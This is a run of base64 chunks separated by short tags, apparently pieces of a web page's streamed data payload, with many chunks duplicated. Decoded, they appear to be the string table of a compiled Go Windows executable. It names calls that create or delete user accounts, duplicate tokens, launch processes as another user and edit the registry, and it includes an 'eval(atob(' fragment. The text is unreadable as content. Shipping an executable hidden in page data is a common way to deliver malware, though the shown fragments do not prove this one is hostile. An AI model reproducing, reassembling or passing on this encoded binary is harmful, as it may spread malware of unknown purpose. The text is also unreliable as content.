zaW5nIG1jYWNoZT9tczogZ29tYXhwcm9jcz1yYW5kaW5pdCBtaXNzZWRdbW9yZWJ1Zj17cGM6OiBubyBmcmFtZSAoc3A9cnVudGltZTogZnJhbWUgdHMgc2V0IGluIHRpbWVydHJhY2ViYWNrIHN0dWNrdW5leHBlY3RlZCBraW5kYWR2ZXJ0aXNlIGVycm9ya2V5IGhhcyBleHBpcmVkbmV0d29yayBpcyBkb3dubm8gbWVkaXVtIGZvdW5kbm8gc3VjaCBwcm9jZXNzR2V0QWRhcHRlcnNJbmZvQ3JlYXRlSGFyZExpbmtXRGV2aWNlSW9Db250cm9sRmx1c2hWaWV3T2ZGaWxlR2V0Q29tbWFuZExpbmVXR2V0U3RhcnR1cEluZm9XUHJvY2VzczMyRmlyc3RXVW5tYXBWaWV3T2ZGaWxlRmFpbGVkIHRvIGxvYWQgRmFpbGVkIHRvIGZpbmQgUmVnQ3JlYXRlS2V5RXhXUmVnRGVsZXRlVmFsdWVXanN0bXBsbGl0aW50ZXJwdGFyaW5zZWN1cmVwYXRoeDUwOWtleXBhaXJsZWFmeDUwOXVzZXBvbGljaWVzemlwaW5zZWN1cmVwYXRoMDEyMzQ1Njc4OWFiY2RlZlRlcm1pbmF0ZVByb2Nlc3NleGVjOiBubyBjb21tYW5kMjM4NDE4NTc5MTAxNTYyNTAxMjM0NTY3ODlBQkNERUZEdXBsaWNhdGVUb2tlbkV4Q3JlYXRlTmFtZWRQaXBlV0dldEN1cnJlbnRUaHJlYWRHZXRNb2R1bGVIYW5kbGVXUnRsVmlydHVhbFVud2luZGludGVnZXIgb3ZlcmZsb3dkZWNvcmF0ZW1hcHBpbmdzZ2NzaHJpbmtzdGFja29mZnRyYWNlZnB1bndpbmRvZmZHQyBzY2F2ZW5nZSB3YWl0R0Mgd29ya2VyIChpZGxlKXBhZ2UgdHJhY2UgZmx1c2hzZWxlY3QgKGR1cmFibGUpaGVhcCByZXNlcnZhdGlvbi9nYy9nb2djOnBlcmNlbnQsIG5vdCBhIGZ1bmN0aW9uZ2M6IHVuc3dlcHQgc3BhbiBLaUIgd29yayAoYmcpLCAgbWhlYXAuc3dlZXBnZW49cnVudGltZTogbmVsZW1zPXdvcmtidWYgaXMgZW1wdHltU3Bhbkxpc3QucmVtb3ZlbVNwYW5MaXN0Lmlucw==99:T554,OiBpblVzZT1ydW50aW1lOiBtYXggPSByZXF1ZXN0ZWQgc2tpcD1iYWQgcGFuaWMgc3RhY2tyZWNvdmVyeSBmYWlsZWRzdG9wbSBob2xkaW5nIHBzdGFydG06IG0gaGFzIHBwcmVlbXB0IFNQV1JJVEVtaXNzaW5nIG1jYWNoZT9tczogZ29tYXhwcm9jcz1yYW5kaW5pdCBtaXNzZWRdbW9yZWJ1Zj17cGM6OiBubyBmcmFtZSAoc3A9cnVudGltZTogZnJhbWUgdHMgc2V0IGluIHRpbWVydHJhY2ViYWNrIHN0dWNrdW5leHBlY3RlZCBraW5kYWR2ZXJ0aXNlIGVycm9ya2V5IGhhcyBleHBpcmVkbmV0d29yayBpcyBkb3dubm8gbWVkaXVtIGZvdW5kbm8gc3VjaCBwcm9jZXNzR2V0QWRhcHRlcnNJbmZvQ3JlYXRlSGFyZExpbmtXRGV2aWNlSW9Db250cm9sRmx1c2hWaWV3T2ZGaWxlR2V0Q29tbWFuZExpbmVXR2V0U3RhcnR1cEluZm9XUHJvY2VzczMyRmlyc3RXVW5tYXBWaWV3T2ZGaWxlRmFpbGVkIHRvIGxvYWQgRmFpbGVkIHRvIGZpbmQgUmVnQ3JlYXRlS2V5RXhXUmVnRGVsZXRlVmFsdWVXanN0bXBsbGl0aW50ZXJwdGFyaW5zZWN1cmVwYXRoeDUwOWtleXBhaXJsZWFmeDUwOXVzZXBvbGljaWVzemlwaW5zZWN1cmVwYXRoMDEyMzQ1Njc4OWFiY2RlZlRlcm1pbmF0ZVByb2Nlc3NleGVjOiBubyBjb21tYW5kMjM4NDE4NTc5MTAxNTYyNTAxMjM0NTY3ODlBQkNERUZEdXBsaWNhdGVUb2tlbkV4Q3JlYXRlTmFtZWRQaXBlV0dldEN1cnJlbnRUaHJlYWRHZXRNb2R1bGVIYW5kbGVXUnRsVmlydHVhbFVud2luZGludGVnZXIgb3ZlcmZsb3dkZWNvcmF0ZW1hcHBpbmdzZ2NzaHJpbmtzdGFja29mZnRyYWNlZnB1bndpbmRvZmZHQyBzY2F2ZW5nZSB3YWl0R0Mgd29ya2VyIChpZGxlKXBhZ2UgdHJhY2UgZmx1c2hzZWxlY3QgKGR1cmFibGUpaGVhcCByZXNlcnZhdGlvbi9nYy9nb2djOnBlcmNlbnQsIG5vdCBhIGZ1bmN0aW9uZ2M6IHVuc3dlcHQgc3BhbiBLaUIgd29yayAoYmcpLCAgbWhlYXAuc3dlZXBnZW49cnVudGltZTogbmVsZW1zPXdvcmtidWYgaXMgZW1wdHltU3Bhbkxpc3QucmVtb3ZlbVNwYW5MaXN0Lmluc2U=9a:T554,X2Nnb19wdGhyZWFkX2tleV9jcmVhdGVkIG1pc3NpbmdydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgZWxlbXJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBuZXh0cnVudGltZTogc3Vkb2cgd2l0aCBub24tbmlsIHByZXZydW50aW1lOiBtY2FsbCBmdW5jdGlvbiByZXR1cm5lZHJ1bnRpbWU6IG5ld3N0YWNrIGNhbGxlZCBmcm9tIGc9cnVudGltZTogc3RhY2sgc3BsaXQgYXQgYmFkIHRpbWVwYW5pYyB3aGlsZSBwcmludGluZyBwYW5pYyB2YWx1ZXJ1bnRpbWU6IHNldGV2ZW50IGZhaWxlZDsgZXJybm89cnVudGltZS5zZW1hc2xlZXAgd2FpdF9hYmFuZG9uZWRyZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZXNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0bnVtZXJpY2FsIGFyZ3VtZW50IG91dCBvZiBkb21haW5DZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZUNlcnRWZXJpZnlDZXJ0aWZpY2F0ZUNoYWluUG9saWN5dXNlIG9mIGNsb3NlZCBuZXR3b3JrIGNvbm5lY3Rpb25pbml0aWFsIHRhYmxlIGNhcGFjaXR5IHRvbyBsYXJnZSIgbm90IHN1cHBvcnRlZCBmb3IgY3B1IG9wdGlvbiAiMTQyMTA4NTQ3MTUyMDIwMDM3MTc0MjI0ODUzNTE1NjI1NzEwNTQyNzM1NzYwMTAwMTg1ODcxMTI0MjY3NTc4MTI1cmVmbGVjdDogc2xpY2UgaW5kZXggb3V0IG9mIHJhbmdlIG9mIG1ldGhvZCBvbiBuaWwgaW50ZXJmYWNlIHZhbHVlcmVmbGVjdDogRmllbGQgaW5kZXggb3V0IG9mIHJhbmdlcmVmbGVjdDogYXJyYXkgaW5kZXggb3V0IG9mIHJhbmdlc2tpcCBldmVyeXRoaW5nIGFuZCBzdG9wIHRoZSB3YWxrR2V0Vm9sdW1lTmFtZUZvclZvbHVtZU1vdW50UG9pbnRXc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbJXg6JXldYmFzZSBvdXRzaWRlIHVzYWJsZSBhZGRyZXNzIHNwYWNlcnVudGltZTogbWVtb3J5IGFsbG9jYXRlZCBieSBPUyBbbWlzcm91bmRlZCBhbGxvY2F0aW9uIGluIHN5c0FsbG9jcnVudGltZTogZmFpbGVkIHRvIGRlY29tbWl0IHBhZ2VzL2NwdS9jbGFzc2VzL2djL3Bh9b:T558,X2Nnb19wdGhyZWFkX2tleV9jcmVhdGVkIG1pc3NpbmdydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgZWxlbXJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBuZXh0cnVudGltZTogc3Vkb2cgd2l0aCBub24tbmlsIHByZXZydW50aW1lOiBtY2FsbCBmdW5jdGlvbiByZXR1cm5lZHJ1bnRpbWU6IG5ld3N0YWNrIGNhbGxlZCBmcm9tIGc9cnVudGltZTogc3RhY2sgc3BsaXQgYXQgYmFkIHRpbWVwYW5pYyB3aGlsZSBwcmludGluZyBwYW5pYyB2YWx1ZXJ1bnRpbWU6IHNldGV2ZW50IGZhaWxlZDsgZXJybm89cnVudGltZS5zZW1hc2xlZXAgd2FpdF9hYmFuZG9uZWRyZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZXNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0bnVtZXJpY2FsIGFyZ3VtZW50IG91dCBvZiBkb21haW5DZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZUNlcnRWZXJpZnlDZXJ0aWZpY2F0ZUNoYWluUG9saWN5dXNlIG9mIGNsb3NlZCBuZXR3b3JrIGNvbm5lY3Rpb25pbml0aWFsIHRhYmxlIGNhcGFjaXR5IHRvbyBsYXJnZSIgbm90IHN1cHBvcnRlZCBmb3IgY3B1IG9wdGlvbiAiMTQyMTA4NTQ3MTUyMDIwMDM3MTc0MjI0ODUzNTE1NjI1NzEwNTQyNzM1NzYwMTAwMTg1ODcxMTI0MjY3NTc4MTI1cmVmbGVjdDogc2xpY2UgaW5kZXggb3V0IG9mIHJhbmdlIG9mIG1ldGhvZCBvbiBuaWwgaW50ZXJmYWNlIHZhbHVlcmVmbGVjdDogRmllbGQgaW5kZXggb3V0IG9mIHJhbmdlcmVmbGVjdDogYXJyYXkgaW5kZXggb3V0IG9mIHJhbmdlc2tpcCBldmVyeXRoaW5nIGFuZCBzdG9wIHRoZSB3YWxrR2V0Vm9sdW1lTmFtZUZvclZvbHVtZU1vdW50UG9pbnRXc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbJXg6JXldYmFzZSBvdXRzaWRlIHVzYWJsZSBhZGRyZXNzIHNwYWNlcnVudGltZTogbWVtb3J5IGFsbG9jYXRlZCBieSBPUyBbbWlzcm91bmRlZCBhbGxvY2F0aW9uIGluIHN5c0FsbG9jcnVudGltZTogZmFpbGVkIHRvIGRlY29tbWl0IHBhZ2VzL2NwdS9jbGFzc2VzL2djL3BhdQ==9c:T554,YSBTdGFuZGFyZCBUaW1lQ2FwZSBWZXJkZSBTdGFuZGFyZCBUaW1lMTE2NDE1MzIxODI2OTM0ODE0NDUzMTI1NTgyMDc2NjA5MTM0Njc0MDcyMjY1NjI1dHJhY2VjaGVja3N0YWNrb3duZXJzaGlwaGFzaCBvZiB1bmhhc2hhYmxlIHR5cGUgc3BhbiBoYXMgbm8gZnJlZSBvYmplY3RzcnVudGltZTogZm91bmQgb2JqIGF0ICoocnVudGltZTogVmlydHVhbEZyZWUgb2YgL2Nnby9nby10by1jLWNhbGxzOmNhbGxzL2djL2hlYXAvb2JqZWN0czpvYmplY3RzL3NjaGVkL2xhdGVuY2llczpzZWNvbmRzcXVldWVmaW5hbGl6ZXIgZHVyaW5nIEdDY2hlY2tmaW5hbGl6ZXJzOiBxdWV1ZTogdXBkYXRlIGR1cmluZyB0cmFuc2l0aW9ucnVudGltZTogbWFya3Jvb3QgaW5kZXggY2FuJ3Qgc2NhbiBvdXIgb3duIHN0YWNrZ2NEcmFpbk4gcGhhc2UgaW5jb3JyZWN0cGFnZUFsbG9jOiBvdXQgb2YgbWVtb3J5cnVudGltZTogcC5zZWFyY2hBZGRyID0gcmFuZ2UgcGFydGlhbGx5IG92ZXJsYXBzIFtyZWNvdmVyZWQsIHJlcGFuaWNrZWRdc3RhY2sgdHJhY2UgdW5hdmFpbGFibGViaW5kbSBpbiB1bmV4cGVjdGVkIEdPT1NydW50aW1lOiBtcC5sb2NrZWRJbnQgPSBydW5xc3RlYWw6IHJ1bnEgb3ZlcmZsb3dnb3JvdXRpbmUgc3RhY2sgKHN5c3RlbSl1bmV4cGVjdGVkIHN5bmNncm91cCBzZXRkb3VibGUgdHJhY2VHQ1N3ZWVwU3RhcnRiYWQgdXNlIG9mIHRyYWNlLnNlcWxvY2tmbG9hdGluZyBwb2ludCBleGNlcHRpb25jb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXJsZXZlbCAyIG5vdCBzeW5jaHJvbml6ZWRsaW5rIG51bWJlciBvdXQgb2YgcmFuZ2VvdXQgb2Ygc3RyZWFtcyByZXNvdXJjZXNmdW5jdGlvbiBub3QgaW1wbGVtZW50ZWRzdHJ1Y3R1cmUgbmVlZHMgY2xlYW5pbmdub3Qgc3VwcG9ydGVkIGJ5IHdpbmRvd3NDZXJ0RnJlZUNlcnRpZmljYXRlQ2hhaW5DcmVhdGVUb29saGVscDMyU25hcHNob3RHZXRVc2VyUHJvZmlsZURpcmVjdG9yeVdpbnZhbGlkIHBhdHRlcm4gc3ludGF4OiBTb3V0aCBTdWRhbiBTdGFuZGFyZCBUaW0=9d:T554,YSBTdGFuZGFyZCBUaW1lQ2FwZSBWZXJkZSBTdGFuZGFyZCBUaW1lMTE2NDE1MzIxODI2OTM0ODE0NDUzMTI1NTgyMDc2NjA5MTM0Njc0MDcyMjY1NjI1dHJhY2VjaGVja3N0YWNrb3duZXJzaGlwaGFzaCBvZiB1bmhhc2hhYmxlIHR5cGUgc3BhbiBoYXMgbm8gZnJlZSBvYmplY3RzcnVudGltZTogZm91bmQgb2JqIGF0ICoocnVudGltZTogVmlydHVhbEZyZWUgb2YgL2Nnby9nby10by1jLWNhbGxzOmNhbGxzL2djL2hlYXAvb2JqZWN0czpvYmplY3RzL3NjaGVkL2xhdGVuY2llczpzZWNvbmRzcXVldWVmaW5hbGl6ZXIgZHVyaW5nIEdDY2hlY2tmaW5hbGl6ZXJzOiBxdWV1ZTogdXBkYXRlIGR1cmluZyB0cmFuc2l0aW9ucnVudGltZTogbWFya3Jvb3QgaW5kZXggY2FuJ3Qgc2NhbiBvdXIgb3duIHN0YWNrZ2NEcmFpbk4gcGhhc2UgaW5jb3JyZWN0cGFnZUFsbG9jOiBvdXQgb2YgbWVtb3J5cnVudGltZTogcC5zZWFyY2hBZGRyID0gcmFuZ2UgcGFydGlhbGx5IG92ZXJsYXBzIFtyZWNvdmVyZWQsIHJlcGFuaWNrZWRdc3RhY2sgdHJhY2UgdW5hdmFpbGFibGViaW5kbSBpbiB1bmV4cGVjdGVkIEdPT1NydW50aW1lOiBtcC5sb2NrZWRJbnQgPSBydW5xc3RlYWw6IHJ1bnEgb3ZlcmZsb3dnb3JvdXRpbmUgc3RhY2sgKHN5c3RlbSl1bmV4cGVjdGVkIHN5bmNncm91cCBzZXRkb3VibGUgdHJhY2VHQ1N3ZWVwU3RhcnRiYWQgdXNlIG9mIHRyYWNlLnNlcWxvY2tmbG9hdGluZyBwb2ludCBleGNlcHRpb25jb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXJsZXZlbCAyIG5vdCBzeW5jaHJvbml6ZWRsaW5rIG51bWJlciBvdXQgb2YgcmFuZ2VvdXQgb2Ygc3RyZWFtcyByZXNvdXJjZXNmdW5jdGlvbiBub3QgaW1wbGVtZW50ZWRzdHJ1Y3R1cmUgbmVlZHMgY2xlYW5pbmdub3Qgc3VwcG9ydGVkIGJ5IHdpbmRvd3NDZXJ0RnJlZUNlcnRpZmljYXRlQ2hhaW5DcmVhdGVUb29saGVscDMyU25hcHNob3RHZXRVc2VyUHJvZmlsZURpcmVjdG9yeVdpbnZhbGlkIHBhdHRlcm4gc3ludGF4OiBTb3V0aCBTdWRhbiBTdGFuZGFyZCBUaW1l9e:T554,YWNlcjogYXNzaXN0IHJhdGlvPXdvcmtidWYgaXMgbm90IGVtcHR5YmFkIHVzZSBvZiBidWNrZXQubXBiYWQgdXNlIG9mIGJ1Y2tldC5icHJ1bnRpbWU6IGRvdWJsZSB3YWl0cHJlZW1wdCBvZmYgcmVhc29uOiBmb3JjZWdjOiBwaGFzZSBlcnJvcmdvcGFyazogYmFkIGcgc3RhdHVzZ28gb2YgbmlsIGZ1bmMgdmFsdWVzZWxlY3RnbzogYmFkIHdha2V1cHNlbWFSb290IHJvdGF0ZVJpZ2h0cmVmbGVjdC5tYWtlRnVuY1N0dWJ0cmFjZTogb3V0IG9mIG1lbW9yeXdpcmVwOiBhbHJlYWR5IGluIGdvaW52YWxpZCByZXF1ZXN0IGNvZGViYWQgZm9udCBmaWxlIGZvcm1hdGlzIGEgbmFtZWQgdHlwZSBmaWxla2V5IGhhcyBiZWVuIHJldm9rZWRjb25uZWN0aW9uIHRpbWVkIG91dENyZWF0ZVByb2Nlc3NBc1VzZXJXQ3J5cHRBY3F1aXJlQ29udGV4dFdDZXJ0T3BlblN5c3RlbVN0b3JlV0dldEN1cnJlbnREaXJlY3RvcnlXR2V0RmlsZUF0dHJpYnV0ZXNFeFdTZXRDdXJyZW50RGlyZWN0b3J5V1NldEhhbmRsZUluZm9ybWF0aW9uR2V0QWNjZXB0RXhTb2NrYWRkcnNodHRwbGF4Y29udGVudGxlbmd0aHg1MDl1c2VmYWxsYmFja3Jvb3RzcmVmbGVjdC5WYWx1ZS5Db21wbGV4ZXhlYzogYWxyZWFkeSBzdGFydGVkTW9yb2NjbyBTdGFuZGFyZCBUaW1lTmFtaWJpYSBTdGFuZGFyZCBUaW1lQWxhc2thbiBTdGFuZGFyZCBUaW1lQ2VudHJhbCBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTdGFuZGFyZCBUaW1lRWFzdGVybiBTdGFuZGFyZCBUaW1lU0UgQXNpYSBTdGFuZGFyZCBUaW1lQXJhYmlhbiBTdGFuZGFyZCBUaW1lTWFnYWRhbiBTdGFuZGFyZCBUaW1lTXlhbm1hciBTdGFuZGFyZCBUaW1lWWFrdXRzayBTdGFuZGFyZCBUaW1lQmVsYXJ1cyBTdGFuZGFyZCBUaW1lUnVzc2lhbiBTdGFuZGFyZCBUaW1lUm9tYW5jZSBTdGFuZGFyZCBUaW1lU2FyYXRvdiBTdGFuZGFyZCBUaW1lTm9yZm9sayBTdGFuZGFyZCBUaW1lMTg2MjY0NTE0OTIzMDk1NzAzMTI1OTMxMzIyNTc0NjE1NDc4NTE1NjI1dW5zdXBwb3J0ZWQgb3BlcmF0aW9uYmFk9f:T554,YWNrPVsgZ3AuZ29pZD0gbG9ja2VkbT1pbnRlcnJ1cHRidXMgZXJyb3JGaW5kQ2xvc2VMb2NhbEZyZWVNb3ZlRmlsZVdXcml0ZUZpbGVXU0FTZW5kVG9Jbmhlcml0ZWRwY2xtdWxxZHFtYXRoL3JhbmR0bHNyc2FrZXh3aW5zeW1saW5rL2Rldi9zdGRpbkNyZWF0ZUZpbGVleGVjZXJyZG90U1lTVEVNUk9PVCUhV2Vla2RheSgxMjIwNzAzMTI1NjEwMzUxNTYyNWNvbXBsZXgxMjh0LktpbmQgPT0gSXNWYWxpZFNpZExvZ29uVXNlcldMb2NrRmlsZUV4UmVPcGVuRmlsZU5ldFVzZXJBZGROZXRVc2VyRGVsTnRPcGVuRmlsZVdTQVNvY2tldFd3czJfMzIuZGxsdmdldHJhbmRvbW5vdGlmeUxpc3Rwcm9mSW5zZXJ0c3RhY2tMYXJnZU5vdCB3b3JrZXJtU3BhbkluVXNlR09NQVhQUk9DU3N0b3AgdHJhY2VkaXNhYmxldGhwaW52YWxpZHB0cnNjaGVkdHJhY2VzZW1hY3F1aXJlZGVidWcgY2FsbCAgPGJhZCBwYyAgZmx1c2hHZW4gIE1CIGdvYWwsICBjbGVhbnVwc3Muc3RhdGUgPSAgcy5iYXNlKCk9IGhlYXBHb2FsPUdPTUVNTElNSVQgS2lCIG5vdywgIHBhZ2VzIGF0ICBzd2VlcGdlbj0gc3dlZXBnZW4gLCBib3VuZCA9ICwgbGltaXQgPSBleGl0VGhyZWFkQmFkIHZhcmludEdDIGZvcmNlZCBydW5xdWV1ZT0gc3RvcHdhaXQ9IHJ1bnFzaXplPSBnZnJlZWNudD0gdGhyb3dpbmc9IHNwaW5uaW5nPWF0b21pY2FuZDhmbG9hdDY0bmFuZmxvYXQzMm5hbkV4Y2VwdGlvbiAgcHRyU2l6ZT0gIHRhcmdldHBjPSB1bnRpbCBwYz1hY3RpdmUgPCAwdW5rbm93biBwY3J1bnRpbWU6IGdnb3JvdXRpbmUgIChkdXJhYmxlKXRlcm1pbmF0ZWRvd25lciBkaWVkRG5zUXVlcnlfV0dldElmRW50cnlDYW5jZWxJb0V4Q3JlYXRlUGlwZUdldFZlcnNpb25Mb2NhbEFsbG9jV1NBQ2xlYW51cFdTQVN0YXJ0dXBnZXRzb2Nrb3B0c2V0c29ja29wdGRuc2FwaS5kbGxodHRwMmRlYnVncnNhMTAyNG1pbmNyeXB0by9yc2FjcnlwdG8vdGxzeDUwOXJzYWNydCIsIDAsIEZhbHNlZXZhbChhdG9iKCcvZGV2L3N0ZG91dC9kZXYvc3RkZXJyT3BlblBybw==a0:T554,YWNrPVsgZ3AuZ29pZD0gbG9ja2VkbT1pbnRlcnJ1cHRidXMgZXJyb3JGaW5kQ2xvc2VMb2NhbEZyZWVNb3ZlRmlsZVdXcml0ZUZpbGVXU0FTZW5kVG9Jbmhlcml0ZWRwY2xtdWxxZHFtYXRoL3JhbmR0bHNyc2FrZXh3aW5zeW1saW5rL2Rldi9zdGRpbkNyZWF0ZUZpbGVleGVjZXJyZG90U1lTVEVNUk9PVCUhV2Vla2RheSgxMjIwNzAzMTI1NjEwMzUxNTYyNWNvbXBsZXgxMjh0LktpbmQgPT0gSXNWYWxpZFNpZExvZ29uVXNlcldMb2NrRmlsZUV4UmVPcGVuRmlsZU5ldFVzZXJBZGROZXRVc2VyRGVsTnRPcGVuRmlsZVdTQVNvY2tldFd3czJfMzIuZGxsdmdldHJhbmRvbW5vdGlmeUxpc3Rwcm9mSW5zZXJ0c3RhY2tMYXJnZU5vdCB3b3JrZXJtU3BhbkluVXNlR09NQVhQUk9DU3N0b3AgdHJhY2VkaXNhYmxldGhwaW52YWxpZHB0cnNjaGVkdHJhY2VzZW1hY3F1aXJlZGVidWcgY2FsbCAgPGJhZCBwYyAgZmx1c2hHZW4gIE1CIGdvYWwsICBjbGVhbnVwc3Muc3RhdGUgPSAgcy5iYXNlKCk9IGhlYXBHb2FsPUdPTUVNTElNSVQgS2lCIG5vdywgIHBhZ2VzIGF0ICBzd2VlcGdlbj0gc3dlZXBnZW4gLCBib3VuZCA9ICwgbGltaXQgPSBleGl0VGhyZWFkQmFkIHZhcmludEdDIGZvcmNlZCBydW5xdWV1ZT0gc3RvcHdhaXQ9IHJ1bnFzaXplPSBnZnJlZWNudD0gdGhyb3dpbmc9IHNwaW5uaW5nPWF0b21pY2FuZDhmbG9hdDY0bmFuZmxvYXQzMm5hbkV4Y2VwdGlvbiAgcHRyU2l6ZT0gIHRhcmdldHBjPSB1bnRpbCBwYz1hY3RpdmUgPCAwdW5rbm93biBwY3J1bnRpbWU6IGdnb3JvdXRpbmUgIChkdXJhYmxlKXRlcm1pbmF0ZWRvd25lciBkaWVkRG5zUXVlcnlfV0dldElmRW50cnlDYW5jZWxJb0V4Q3JlYXRlUGlwZUdldFZlcnNpb25Mb2NhbEFsbG9jV1NBQ2xlYW51cFdTQVN0YXJ0dXBnZXRzb2Nrb3B0c2V0c29ja29wdGRuc2FwaS5kbGxodHRwMmRlYnVncnNhMTAyNG1pbmNyeXB0by9yc2FjcnlwdG8vdGxzeDUwOXJzYWNydCIsIDAsIEZhbHNlZXZhbChhdG9iKCcvZGV2L3N0ZG91dC9kZXYvc3RkZXJyT3BlblByb2M=a1:T554,YWwvc3luYy5IYXNoVHJpZU1hcDogcmFuIG91dCBvZiBoYXNoIGJpdHMgd2hpbGUgaW5zZXJ0aW5nICBtYXkgYmUgaW4gdGhlIHNhbWUgdGlueSBibG9jayBhcyBjbGVhbnVwIG9yIGNsZWFudXAgYXJndW1lbnRtYWxmb3JtZWQgR09NRU1MSU1JVDsgc2VlIGBnbyBkb2MgcnVudGltZS9kZWJ1Zy5TZXRNZW1vcnlMaW1pdGBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODktX3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCB3YXMgYWxsb2NhdGVkIGludG8gYW4gYXJlbmFjb21waWxlQ2FsbGJhY2s6IGV4cGVjdGVkIGZ1bmN0aW9uIHdpdGggb25lIHVpbnRwdHItc2l6ZWQgcmVzdWx0YXR0ZW1wdGVkIHRvIHRyYWNlIHN0YWNrIG9mIGEgZ29yb3V0aW5lIHRoaXMgdGhyZWFkIGRvZXMgbm90IG93bnVzZXIgYXJlbmEgY2h1bmsgc2l6ZSBpcyBub3QgYSBtdWx0aXBsZSBvZiB0aGUgcGh5c2ljYWwgcGFnZSBzaXplcnVudGltZTogZnVuY3Rpb24gbWFya2VkIHdpdGggI2NnbyBub2NhbGxiYWNrIGNhbGxlZCBiYWNrIGludG8gR29ydW50aW1lLlNldEZpbmFsaXplcjogcG9pbnRlciBub3QgYXQgYmVnaW5uaW5nIG9mIGFsbG9jYXRlZCBibG9ja2Nhc0dUb1dhaXRpbmdGb3JTdXNwZW5kRyB3aXRoIG5vbi1pc1dhaXRpbmdGb3JTdXNwZW5kRyB3YWl0IHJlYXNvbnVuYWJsZSB0byBxdWVyeSBidWZmZXIgc2l6ZSBmcm9tIEluaXRpYWxpemVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdHJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuVW5zYWZlUG9pbnRlciBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVycnVudGltZS5QaW5uZXI6IGZvdW5kIGxlYWtpbmcgcGlubmVkIHBvaW50ZXI7IGZvcmdvdCB0byBjYWxsIFVucGluKCk/ZXhlYzogY29tbWFuZCB3aXRoIGEgbm9uLW5pbCBDYW5jZWwgd2FzIG5vdCBjcmVhdGVkIHdpdGg=a2:T550,YWxyZWFkeTsgZXJybm89cnVudGltZSBzdGFjazppbnZhbGlkIGcgc3RhdHVzY2FzdG9nc2NhbnN0YXR1c2JhZCBnIHRyYW5zaXRpb25zY2hlZHVsZTogaW4gY2dvcmVmbGVjdCBtaXNtYXRjaCB1bnR5cGVkIGxvY2FscyBtaXNzaW5nIHN0YWNrbWFwYmFkIHN5bWJvbCB0YWJsZW5vbi1HbyBmdW5jdGlvbnBvaW50ZXJsZXNzIHR5cGUgbm90IGluIHJhbmdlczppbnZhbGlkIGV4Y2hhbmdlbm8gcm91dGUgdG8gaG9zdGludmFsaWQgYXJndW1lbnRtZXNzYWdlIHRvbyBsb25nb2JqZWN0IGlzIHJlbW90ZXJlbW90ZSBJL08gZXJyb3JTZXRGaWxlUG9pbnRlckV4T3BlblByb2Nlc3NUb2tlblJlZ1F1ZXJ5SW5mb0tleVdSZWdRdWVyeVZhbHVlRXhXRG5zTmFtZUNvbXBhcmVfV0NyZWF0ZURpcmVjdG9yeVdGbHVzaEZpbGVCdWZmZXJzR2V0Q29tcHV0ZXJOYW1lV0dldEZ1bGxQYXRoTmFtZVdHZXRMb25nUGF0aE5hbWVXUmVtb3ZlRGlyZWN0b3J5V05ldEFwaUJ1ZmZlckZyZWVHT0RFQlVHOiB2YWx1ZSAiYWxsb3dtdWx0aXBsZXZjc2h0dHBjb29raWVtYXhudW0nKSkod2luZG93LmNsb3NlKTAxMjM0NTY3ODlBQkNERUZYMDEyMzQ1Njc4OWFiY2RlZnhyZWZsZWN0LlZhbHVlLkludHdpbnJlYWRsaW5rdm9sdW1lZXhlYzoga2lsbGluZyBDbWRleGVjOiBub3Qgc3RhcnRlZEdUQiBTdGFuZGFyZCBUaW1lRkxFIFN0YW5kYXJkIFRpbWVHTVQgU3RhbmRhcmQgVGltZTExOTIwOTI4OTU1MDc4MTI1NTk2MDQ2NDQ3NzUzOTA2MjV1bmtub3duIHR5cGUga2luZHJlZmxlY3Q6IGNhbGwgb2YgcmVmbGVjdC5WYWx1ZS5MZW5nb3JvdXRpbmUgcHJvZmlsZUFsbFRocmVhZHNTeXNjYWxsY29udGFpbmVybWF4cHJvY3NHQyBhc3Npc3QgbWFya2luZ3NlbGVjdCAobm8gY2FzZXMpc3luYy5SV011dGV4LkxvY2t3YWl0IGZvciBHQyBjeWNsZXRyYWNlIHByb2Mgc3RhdHVzc3luYy4oKkNvbmQpLldhaXQ6IG1pc3NpbmcgbWV0aG9kIG5vdGV0c2xlZXBnIG9uIGcwYmFkIFRpbnlTaXplQ2xhc3NpbW1vcnRhbCBtZXRhZGF0YXJ1bg==a3:T550,YWxyZWFkeTsgZXJybm89cnVudGltZSBzdGFjazppbnZhbGlkIGcgc3RhdHVzY2FzdG9nc2NhbnN0YXR1c2JhZCBnIHRyYW5zaXRpb25zY2hlZHVsZTogaW4gY2dvcmVmbGVjdCBtaXNtYXRjaCB1bnR5cGVkIGxvY2FscyBtaXNzaW5nIHN0YWNrbWFwYmFkIHN5bWJvbCB0YWJsZW5vbi1HbyBmdW5jdGlvbnBvaW50ZXJsZXNzIHR5cGUgbm90IGluIHJhbmdlczppbnZhbGlkIGV4Y2hhbmdlbm8gcm91dGUgdG8gaG9zdGludmFsaWQgYXJndW1lbnRtZXNzYWdlIHRvbyBsb25nb2JqZWN0IGlzIHJlbW90ZXJlbW90ZSBJL08gZXJyb3JTZXRGaWxlUG9pbnRlckV4T3BlblByb2Nlc3NUb2tlblJlZ1F1ZXJ5SW5mb0tleVdSZWdRdWVyeVZhbHVlRXhXRG5zTmFtZUNvbXBhcmVfV0NyZWF0ZURpcmVjdG9yeVdG